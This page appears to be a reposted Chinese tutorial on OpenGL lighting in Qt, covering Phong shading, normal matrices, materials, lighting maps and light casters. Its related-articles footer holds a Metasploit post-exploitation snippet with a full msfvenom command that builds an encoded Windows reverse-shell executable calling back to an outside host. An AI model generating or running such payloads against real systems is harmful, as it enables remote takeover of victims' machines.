QT之OpenGL光照

news2024/11/15 22:27:03

QT之OpenGL光照

  • 1. 冯氏光照模型概述
    • 1.1 环境光照
    • 1.2 漫反射光照
      • 1.2.1 法向量
    • 1.3 镜面光照
    • 1.4 冯氏光照公式
    • 1.5 着色器demo
  • 2. 材质
    • 2.1 demo
  • 3. 光照贴图
    • 3.1 demo
  • 4. 投光物
    • 4.1 平行光
      • 4.1.1 平行光Demo
    • 4.2 点光源
      • 4.2.1 衰减
      • 4.2.1 点光源Demo
    • 4.3 聚光
      • 4.3.1 聚光Demo
      • 4.3.2 平滑/软化边缘
        • 4.3.2.1 聚光 平滑/软化边缘 Demo
  • 5. 多光源合并
    • 5.1 多光源合并Demo

1. 冯氏光照模型概述

真实世界中的光照是及其复杂的,而且会受到诸多因素的影响,这是计算机在有限算力下无法模拟的。因此在计算机世界中会使用简化的模型来对现实模型进行模拟。这些模型都是基于对光的物理特性的理解。其中一个模型被称为冯氏光照(Phong Lighting Model),冯氏光照模型主要由如下三个分量组成:

  1. 环境光照(Ambient Lighting)
    即使在黑暗的情况下,世界上通常仍然有一些光亮(月亮、远处的光),所以物体几乎永远不会是完全黑暗的。为了模拟这个,会使用一个环境光照常量,它永远给物体一些颜色

  2. 漫反射光照(Diffuse Lighting)
    模拟光源对物体的方向性影响(Directional Impact)。它是冯氏光照模型中视觉上最显著的分量。物体的某一部分越是正对着光源,它就会越亮

  3. 镜面光照(Specular Lighting)
    模拟有光泽物体上面出现的亮点。镜面光照的颜色相比于物体的颜色会更倾向于光的颜色

效果如下所示:
在这里插入图片描述

1.1 环境光照

光的一个属性是,它可以向很多方向发散并反弹,从而能够达到不是非常直接临近的点。所以光能够在其它的表面上反射,对一个物体产生间接的影响。考虑到这种情况的算法叫全局照明(Global Illuminate)算法,但这种算法即开销高昂又及其复杂。所以使用一个简化的全局照明模型,即环境光照

1.2 漫反射光照

漫反射示意图如下:
在这里插入图片描述

如果光线垂直于物体表面,这束光对物体的影响会最大化(更亮)。为了测量光线和片段的角度,使用一个叫法向量(Normal Vector)的东西,它是垂直与片段表面的一个向量。
由于两个单位向量的夹角越小,它们点乘的结果越倾向于1。当两个向量的夹角为90度的时候,点乘会变为0。这同样适用于θ,θ越大,光对片段颜色的影响就应该越小。为了得到两个向量夹角的余弦值,应该使用单位向量,所以需要确保所有的向量都是标准化得的,否则点乘的结果就不仅仅是余弦值了,理由如下:

点乘的公式:
O A ⃗ ⋅ O B ⃗ = ∣ ∣ O A ⃗ ∣ ∣ ⋅ ∣ ∣ O B ⃗ ∣ ∣ c o s ( θ ) \vec{OA} · \vec{OB} = ||\vec{OA}||·||\vec{OB}||cos(θ) OA OB =∣∣OA ∣∣∣∣OB ∣∣cos(θ)
当两向量的为单位向量时才有如下结果:
O A ⃗ ⋅ O B ⃗ = 1 ⋅ 1 c o s ( θ ) \vec{OA} · \vec{OB} = 1· 1 cos(θ) OA OB =11cos(θ)

由此可以看出漫反射关照的计算需要以下内容:

  1. 发向量
    一个垂直于顶点表面的向量
  2. 定向的光线
    作为光源的位置与片段的位置之间向量查的方向向量。为了计算这个光线,我们需要光的位置向量和片段的位置向量

1.2.1 法向量

由于片段着色器里的计算都是在世界坐标系中的,所以应该把法向量(一般在局部坐标系)也转换为世界坐标系空间,但这不是简单的把它乘以一个模型矩阵就能搞定的。

首选,法向量只是一个方向向量,不能表示空间中的具体位置。同时,法向量没有齐次坐标(顶点中的w分量),这意味着,唯一不应该影响法向量。因此,如果打算把法向量乘以一个模型矩阵,就要从模型矩阵中移除位移部分,比如使用3x3的矩阵,或者将4x4矩阵中的w分量设置为0。

其次如果模型矩阵执行了不等比的缩放,顶点的改变会导致法向量不再垂直于表面。效果如下:

在这里插入图片描述

修复这个行为的诀窍是使用一个为法向量专门定制的模型矩阵,这个矩阵称之为法线矩阵(Normal Matrix),它使用了一些线性代数的操作来移除对法向量不等比缩放的影响。在顶点着色器中,可以使用inversetranspose函数生成这个法线矩阵,还要把被处理过的矩阵强制转换为3x3矩阵,赖堡镇它失去了位移属性以及能够乘以vec3的法向量,如下所示:

Normal = mat3(transpose(inverse(model))) * aNormal;

矩阵求逆是一项对于着色器开销很大的运算,因为它必须在场景中的每一个顶点上进行,所以应该尽可能地避免在着色器中进行求逆运算。

法线矩阵(Normal Matrix)的计算推到如下:
其中T为三角面的切线向量,N为法线向量, N ⋅ T = N T ⋅ T = 0 N·T=N^T·T=0 NT=NTT=0

  1. 假设切线向量变换矩阵为M,变换后的切线向量 T' = M · T
  2. 同时假设有一个正确的法线变换矩阵G,使得变换的法线 N' = G · N,那么变换后的N'点乘T'依然结果依然为0,由此可得出
    N ′ ⋅ T ′ = N ′ T T ′ = ( G ⋅ N ) T M ⋅ T = N T G T M T N T ⋅ T = N T G T M T G T ⋅ M = I G = ( M − 1 ) T N' · T' = {N'}^TT'={(G·N)}^TM·T=N^TG^TMT\\N^T·T=N^TG^TMT\\G^T·M=I\\G=(M^{-1})^T NT=NTT=(GN)TMT=NTGTMTNTT=NTGTMTGTM=IG=(M1)T

原文-[图形学] 法向量变换矩阵的推导

1.3 镜面光照

和漫反射一样,镜面光照也决定与光的方向向量和物体的法向量,但也决定于观察方向。例如玩家是从什么方向看这个片段的
在这里插入图片描述
通过根据法向量翻折入射光的方向来计算反射向量。计算反射向量与观察方向的角度差,它们之间的角度越小,镜面光的作用越大。产生的效果是,看向在入射光在表面的反射方向时,会看到一个点高光。

观察向量是计算镜面光时需要的一个额外变量,可以使用观察者的世界空间位置和片段的位置来计算。大多数人趋向于在观察空间进行光照计算。在观察空间计算的优势是,观察者的位置总是在(0,0,0)

观察向量是从相机位置指向片段位置的向量

在光照着色器的早期,开发者曾经在顶点着色器中实现冯氏光照模型。在顶点着色器中做光照的优势是,相比片段来说,顶点要少得多,因此会更高效,所以(开销大的)光照计算频率会更低。然而,顶点着色器中的最终颜色值是仅仅只是那个顶点的颜色值,片段的颜色值是由插值光照颜色所得来的。结果就是这种光照看起来不会非常真实,除非使用了大量顶点。
在这里插入图片描述
在顶点着色器中实现的冯氏光照模型叫做高洛德着色(Gouraud Shading),而不是冯氏着色(Phong Shading)。记住,由于插值,这种光照看起来有点逊色。冯氏着色能产生更平滑的光照效果。

1.4 冯氏光照公式

I p h o n g = k a I a m b i e n t + ∑ i = 1 n u m L i g h t s I i ( k d ( L i ⃗ ⋅ N ⃗ ) + k s ( R i ⃗ ⋅ V ⃗ ) n s h i n y ) I_{phong}=k_aI_{ambient}+\sum_{i=1}^{numLights}I_i(k_d(\vec{L_i}·\vec{N})+k_s(\vec{R_i}·\vec{V})^{n^{shiny}}) Iphong=kaIambient+i=1numLightsIi(kd(Li N )+ks(Ri V )nshiny)
在这里插入图片描述

  • k a I a m b i e n t k_aI_{ambient} kaIambient 表示环境光照, k a k_a ka代表环境光的系数
  • ∑ i = 1 n u m L i g h t s \sum_{i=1}^{numLights} i=1numLights则表示多光源的处理
  • I i I_i Ii表示不同的光源
  • k d ( L i ⃗ ⋅ N ⃗ ) k_d(\vec{L_i}·\vec{N}) kd(Li N )表示漫反射光照, k d k_d kd表示漫反射光照系数
  • k s ( R i ⃗ ⋅ V ⃗ ) n s h i n y k_s(\vec{R_i}·\vec{V})^{n^{shiny}} ks(Ri V )nshiny表示镜面光照, k s k_s ks表示镜面光照系数, n s h i n y n^{shiny} nshiny表示反光度(Shininess),一个物体的反光度越高,反射光的能力越强,散射得越少,高光点就会越小,如下图所示:
    在这里插入图片描述

1.5 着色器demo

  1. 冯氏着色模式下的冯氏光照模型Demo
  2. 高洛德着色模式下的冯氏光照模型Demo
  3. 观察空间下计算的冯氏光照模型Demo

注:

  • 前两个demo是在世界坐标系下进行的计算,最后一个则在观察空间下计算,在此空间下的观察者位置总是(0,0,0)

2. 材质

材质(Material)是用来描述物体颜色的属性,一个物体的材质通常包含环境光照(Ambient Lighting)、漫反射光照(Diffuse Lighting)、镜面光照(Specular Lighting)及是反光度(Shininess)组成。与上面的着色器demo的区别在于将物体颜色objectColor拆分为有多个分量组成的光。

struct Material {
    vec3 ambient;
    vec3 diffuse;
    vec3 specular;
    float shininess;
};

同时光本身也会存在属性的差别,如环境光、漫反射和镜面光应该有不同的强度表现。此时也需要将光本身(lightColor)拆分为不同的分量。

  • 环境光通常会被设置为较弱的强度,这是因为不希望环境光颜色太过主导
  • 漫反射分量通常被设置为希望光所具有的那个颜色,通常是一个比较明亮的白色
  • 镜面光分量通常会保持为1.0,以最大强度的发光
struct Light {
    vec3 position;

    vec3 ambient;
    vec3 diffuse;
    vec3 specular;
};

2.1 demo

Learn OpenGL 上面也给出了一些材质的参数,大家可以根据material demo自行调整展示效果。这里放一个截图
原链接点这里
在这里插入图片描述

3. 光照贴图

2. 材质一节中将整个物体的材质定义为了一个整体,但现实世界中的物体通常并不只包含一种材质。如一辆汽车,外壳会很亮,车床会部分反射周围的环境等等。所以那个材质的定义是不够的,现在需要对进行扩展,因此引入漫反射和镜面光贴图这就允许对物体的漫反射分量(以及间接的对环境光分量,这两个几乎总是一样的)和镜面光分量有着更精确的控制

贴图的本质与纹理一致,只是在光照场景中,通常被叫做漫反射贴图(Diffuse Map)或镜面光贴图(Specular Map),它是一个表现了物体所有漫反射或镜面光颜色的纹理图像。最后在着色器中采样这些颜色做为漫反射或镜面光颜色即可。

还有一种是放射光贴图(Emission Map),它是一个储存了每个片段的发光值(Emission Value)的贴图。发光值是一个包含(假设)光源的物体发光(Emit)时可能显现的颜色,这样的话物体就能够忽略光照条件进行发光(Glow)。游戏中某个物体在发光的时候,你通常看到的就是放射光贴图(比如 机器人的眼,或是箱子上的灯带)。因为放射光贴图本身包含了发光值,因此可以不用乘以光源等值,而直接作为结果进行输出显示

3.1 demo

光照贴图Demo

4. 投光物

将光投射(Cast)到物体的光源叫做投光物(Light Caster)

4.1 平行光

当光源处于很远的地方时,来自光源的每条光线就会近似于互相平行。不论物体和(或)观察者的位置,看起来好像所有的光都来自于同一个方向。当我们使用一个假设光源处于无限远处的模型时,它就被称为定向光(Direction Light)(如太阳),因为它的所有光线都有着相同的方向,它与光源的位置是没有关系的。
在这里插入图片描述
因为所有的光线都是平行的,所以物体与光源的相对位置是不重要的。因此可以定义个光线向量而不是位置向量来模拟一个定向光(将light.position修改为light.direction)。 定向光对于照亮整个场景的全局光源是非常有效的。

4.1.1 平行光Demo

平行光Demo

4.2 点光源

通常在一个场景中往往还会存在一些点光源(Point Light)。点光源是处于世界中某一个位置的光源,它会朝着所有方向发光,但光线会随着距离逐渐衰弱。 常见的如灯泡,火把等。

在这里插入图片描述

4.2.1 衰减

随着光线传播距离的增长逐渐削减光的强度的过程通常叫做衰减(Attenuation)。这种随距离减少光强度的方式是一种线性方程。然而最终的效果会比较假。现实中灯在近处会非常凉,但随着距离的增加光源的强度一开始会下降非常快,但在远处时剩余的光强度就会下降的非常慢。 公式如下:
在这里插入图片描述
d d d表示片段距光源的距离, K c K_c Kc为常数项, K l K_l Kl为一次项, K q K_q Kq为二次项

  • 常数项通常保持为1.0,主要作用是保证分母永远不会比1小,否则的话在某些距离上它反而会增加亮度
  • 一次项与距离值相乘,以线性的方式减少强度
  • 二次项与距离的平方相乘,让光源以二次递减的方式减少强度。二次项在距离比较小的时候影响会比一次项小很多,但当距离只比较大的时候它就会比一次项影响更大了

最终的结果就是,光在近距离时亮度很高,但随着距离变远亮度迅速降低,随后会以更慢的速度减少。关于 K c K_c Kc K l K_l Kl K q K_q Kq的选值通常会受环境、希望光覆盖的距离、光的类型等因素影响,但在大多数时候这都是经验值。下表给出一些常见的设置:
在这里插入图片描述

4.2.1 点光源Demo

点光源Demo

4.3 聚光

聚光(Spotlight)是位于环境中某个位置的光源,它只朝一个特定方向照射光线。这样就会造成只有在聚光方向的特定半径内的物体才会被照亮,其它的物体都会保持黑暗。

在OpenGL中聚光用一个世界空间位置、一个方向和一个切光角(Cutoff Angle)表示。 切光角指了聚光的半径(圆锥半径)。聚光的工作原理图如下:
在这里插入图片描述

  • LightDir: 从片段指向光源的向量
  • SpotDir: 聚光所指的方向
  • φ: 指定聚光半径的切光角。落在这个调度之外的物体不会被这个聚光所照亮
  • θ: LightDir向量和SpotDir向量之间的夹角,在聚光内部的话θ值应该比φ值小

所以最终需要计算θ角,并与φ进行比较,大于φ的部分不会被这个聚光所照亮

4.3.1 聚光Demo

聚光Demo

4.3.2 平滑/软化边缘

为了创建一种看起来边缘平滑的聚光,需要聚光有一个内圆锥(Inner Cone)和一个外圆锥(Outer Cone)

如果一个片段处于内外圆锥之间,将会给它计算出一个0到1的光照强度。如果片段在圆锥之内,它的强度就是1,。如果在外圆锥之外强度就是0。公式如下:
在这里插入图片描述

  • ε(Epsilon): 内(θ)外(γ)圆锥之间的余弦值之差
  • I: 当前片段聚光强度

4.3.2.1 聚光 平滑/软化边缘 Demo

聚光 平滑/软化边缘 Demo

5. 多光源合并

多光源的合并就是将几个种类的光源进行合并处理,具体的可以参考OpenGL 多光源

5.1 多光源合并Demo

多光源合并Demo

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/150993.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Ajax工作原理

Ajax工作原理 HTTP协议原理与ajax工作原理 1.什么HTTP协议 协议指的是规定浏览器跟服务器交互的数据格式 2.浏览器请求 必须是:请求报文 3.服务器响应 必须是:响应报文 4.请求报文与响应报文的数据格式如下 1.请求报文 (1)请求行 : 包含请…

TP4054国产替代DP4054 500mA 线性锂电充电芯片

DP4054 是一款完整的采用恒定电流/恒定电压单节锂离子电池充电管理芯片。其SOT小封装和较少的外部元件数目使其成为便携式应用的理想器件,DP4054 可以适合USB 电源和适配器电源工作。由于采用了内部PMOSFET 架构,加上防倒充电路,所以不需要外…

Msf后渗透测试阶段

● 已经获得目标系统控制权后扩大战果 ○ 提权 ○ 信息收集 ○ 渗透内网 ○ 永久后门 ● 基于已有session扩大战果 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST1.1.1.1 LPORT4444 -b "\x00"-e x86/shikata_ga_nai -f exe -o 1.ex…

重发布-路由策略实验2(1.8)

目标: 1、首先对每个路由器进行接口ip的配置 r1: [r1]interface GigabitEthernet 0/0/0 [r1-GigabitEthernet0/0/0]ip add 12.1.1.1 24 [r1-GigabitEthernet0/0/0]int gi 0/0/1 [r1-GigabitEthernet0/0/1]ip add 13.1.1.1 24 [r1-GigabitEthernet0/0/1…

LinkedList与单向链表(二)(双向链表)

1.ListedList的模拟实现package Demo1;/*** Describe:双向链表的简单模拟实现* User:lenovo* Date:2023-01-08* Time:11:20*/ class Node {int val;Node prev;Node next;public Node(int val) {this.val val;}public Node() {} } public class MyLinkedList {Node first;Node …

Linux--权限

一、目录权限 文件的权限描述符,由10个字母组成 如下图所示,可以按照1-3-3-3的结构划分,用rwx表示拥有权限,r代表read(可读),w代表write(可写),x代表execut…

Python高阶技巧(十二)

python学习之旅(十二) 👍查看更多可以关注查看首页或点击下方专栏目录 一.闭包 可以保存函数内变量,不会随着函数调用完而销毁 (1) 基本定义 在函数嵌套的前提下,内部函数使用了外部函数的变量,并且外部函数返回了内部函数&#x…

万字长文,带你从0到1的了解商业智能BI

借助互联网技术的发展,每天我们都会接触到大量的信息,信息的增长速度可以说是海啸级的。在这样一个信息爆炸的时代,掌握怎样利用数据就相当于掌握了一项生存技能,很多可以发掘并充分利用数据的企业会发现自己远远领先于竞争对手。…

Android 反编译初探-基础篇

前言 本文目标: 工具:介绍反编译需要用到的工具原理:反编译基本原理实践:替换一个未混淆&未加固apk的启动页面 工具 1.Android Studio 版本:Android Studio Dolphin | 2021.3.1 Patch 1 2.Jadx Class Decomp…

go 数组(array)和切片(slice)

文章目录数组ArraySlice 切片appendcopy(切片复制)goto数组Array 和以往的数组有很大的不同 数组时值类型,复制和传参会复制整个数组,而不是指针数组长度必须是常量,且是类型的组成部分。[2]int和[3]int是不同的数据…

Vue中Vue.use()的原理及基本使用

目录 🔥 前言 1. 举例理解 2. 源码分析 🔥 小结 相信很多人在用Vue使用别人的组件时,会用到 Vue.use() ,例如:Vue.use(VueRouter)、Vue.use(MintUI),这篇文章主要给大家介绍了关于Vue中Vue.use()的原理及基本使用的相关资料&a…

Mysql索据-Mysql的innodb引擎为什么要使用b+tree作为索引数据结构?

目录 索引? 什么是索引?索引有什么优点?索引有什么缺点? 索引的分类 按照功能分类: 按照数据结构分类 相关数据结构(b-tree、btree) b-tree btree b-tree和btree的区别 为什么Innodb要…

65. 锚框的代码实现

目标检测算法通常会在输入图像中采样大量的区域,然后判断这些区域中是否包含我们感兴趣的目标,并调整区域边界从而更准确地预测目标的真实边界框(ground-truth bounding box)。 不同的模型使用的区域采样方法可能不同。 这里我们…

TiDB学习笔记(八)-数据库故障处理

一、数据丢失快速恢复 数据恢复前置条件-GC,tidb_gc_life_time 查询GC已经清理的时间点tikv_gc_safe_point 数据快速恢复操作方式 DML->tidb_snapshot参数 (在tikv_gc_safe_point范围内) DDL->flashback table/recover table (flas…

AIGC与搜索深度融合,百度定义“生成式搜索”

设想一下,当你搜索“公司活动通知怎么写”时,搜索引擎直接“写”了一篇送到眼前是什么体验?百度的“生成式搜索”正在让这样的场景成为现实。日前,百度宣布,百度搜索将升级“生成式搜索”能力,基于百度自研…

项目管理工具dhtmlxGantt甘特图入门教程(七):在服务器上使用甘特图

dhtmlxGantt是用于跨浏览器和跨平台应用程序的功能齐全的Gantt图表,可满足项目管理控件应用程序的所有需求,是最完善的甘特图图表库。 这篇文章给大家讲解如何在服务器上使用DHTMLX Gantt 。 DhtmlxGantt正版试用下载(qun:764…

Cadence PCB仿真使用Allegro PCB SI元器件类别设置为IO,IC和Discrete的方法图文教程

⏪《上一篇》   🏡《总目录》   ⏩《下一篇》 目录 1,概述2,配置方法3,总结1,概述 本文简单介绍使用Allegro PCB SI软件配置电压地网络电压的方法。 2,配置方法 第1步:打开待仿真的PCB文件,并确认软件为Allegro PCB SI 如果,打开软件不是Allegro PCB SI则可这样…

ElementUI源码系列一-完整引入和按需引入

前言 本篇将介绍,ElementUI 是如何实现完整引入和按需引入的。 完整引入 官网使用 源码步骤 src/index.js 通过对外暴露 install(),让主项目通过 Vue.use(ElementUI) 引入,还需单独引入样式 import element-ui/lib/theme-chalk/index.c…

Selenium用法详解【Options选项】【JAVA爬虫】

简介本文主要讲解如何使用java代码利用selenium控制浏览器的启动选项Options的代码操作教程。Options选项这是一个Chrome的参数对象,在此对象中使用addArgument()方法可以添加启动参数,添加完毕后可以在初始化Webdriver对象时将此Options对象传入&#x…

minio分布式存储的go语言开发衔接

minio是分布式存储,可集群部署,阵列磁盘,纠错码等大数据存储必备的技术。由于它是go语言开发的,我们用go来与它衔接:上传文件,比如图片,然后预览。这里涉及几个重要的知识点。一是minio永久路径…